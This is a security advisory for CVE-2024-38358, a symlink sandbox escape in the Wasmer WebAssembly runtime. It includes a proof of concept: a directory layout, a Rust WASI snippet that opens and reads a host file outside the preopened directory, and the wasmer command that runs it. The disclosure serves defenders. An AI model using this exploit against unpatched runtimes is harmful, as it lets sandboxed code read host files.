CVE-2024-38358
Symlink bypasses filesystem sandbox
Impact
### Summary If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. ### Details ### PoC Setup a filesystem as follows. ``` . ├── outside.file └── preopen └── dir └── file -> ../../outside.file ``` Compile this Rust snippet with `wasi` v0.11 (for the preview1 API). ```rust fn main() { unsafe { let filefd = wasi::path_open( 5, wasi::LOOKUPFLAGS_SYMLINK_FOLLOW, "app/dir/file", wasi::OFLAGS_CREAT, wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE, 0, 0, ) .unwrap(); eprintln!("filefd: {filefd}"); let mut buf = [0u8; 10]; let iovs = [wasi::Iovec { buf: buf.as_mut_ptr(), buf_len: buf.len(), }]; let read = wasi::fd_read(filefd, &iovs).unwrap(); eprintln!("read {read}: {}", String::from_utf8_lossy(&buf)); } } ``` Run the compiled binary with Wasmer preopening `preopen/`: ``` wasmer run --mapdir /app:preopen a.wasm ``` This should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| rust | wasmer | <= 4.3.1 | none recorded |